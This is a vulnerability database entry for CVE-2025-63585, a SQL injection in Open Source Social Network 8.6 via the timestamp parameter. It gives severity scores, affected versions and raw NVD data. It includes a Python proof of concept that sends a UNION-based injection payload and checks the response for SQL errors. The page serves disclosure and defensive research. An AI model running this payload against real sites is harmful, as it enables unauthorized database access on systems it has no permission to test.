Security Vulnerability Report
中文
CVE-2025-63585 CVSS 6.5 MEDIUM

CVE-2025-63585

Published: 2025-11-05 21:15:36
Last Modified: 2026-01-09 17:30:46

Description

OSSN (Open Source Social Network) 8.6 is vulnerable to SQL Injection in /action/rtcomments/status via the timestamp parameter.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opensource-socialnetwork:open_source_social_network:8.6:*:*:*:*:*:*:* - VULNERABLE
Open Source Social Network (OSSN) 8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63585 OSSN SQL Injection PoC # Target: OSSN 8.6 /action/rtcomments/status endpoint def exploit(target_url, timestamp_param): """ SQL Injection PoC for CVE-2025-63585 Target parameter: timestamp """ # Normal request (baseline) normal_data = { 'timestamp': timestamp_param } # Malicious payload - SQL Injection # Using UNION-based injection to extract database info malicious_data = { 'timestamp': f"{timestamp_param}' UNION SELECT 1,2,3,4,5,6,7,8,9,10---" } print(f"[*] Target: {target_url}") print(f"[*] Sending normal request...") try: # Normal request response1 = requests.post(target_url, data=normal_data, timeout=10) print(f"[+] Normal response status: {response1.status_code}") # Malicious request print(f"[*] Sending SQL injection payload...") response2 = requests.post(target_url, data=malicious_data, timeout=10) print(f"[+] Malicious response status: {response2.status_code}") # Check for SQL error indicators if 'SQL' in response2.text or 'error' in response2.text.lower(): print("[!] SQL injection vulnerability confirmed!") print(f"[*] Response preview: {response2.text[:500]}") return True else: print("[-] Vulnerability not confirmed or target not vulnerable") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-63585.py <target_url> <timestamp>") print("Example: python cve-2025-63585.py http://target.com/action/rtcomments/status 1234567890") sys.exit(1) target = sys.argv[1] timestamp = sys.argv[2] exploit(target, timestamp)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63585", "sourceIdentifier": "[email protected]", "published": "2025-11-05T21:15:36.357", "lastModified": "2026-01-09T17:30:45.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OSSN (Open Source Social Network) 8.6 is vulnerable to SQL Injection in /action/rtcomments/status via the timestamp parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensource-socialnetwork:open_source_social_network:8.6:*:*:*:*:*:*:*", "matchCriteriaId": "BE22798F-C957-4737-8716-562EFACA196D"}]}]}], "references": [{"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/issues/2503", "source": "[email protected]", "tags": ["Vendor Advisory", "Issue Tracking"]}]}}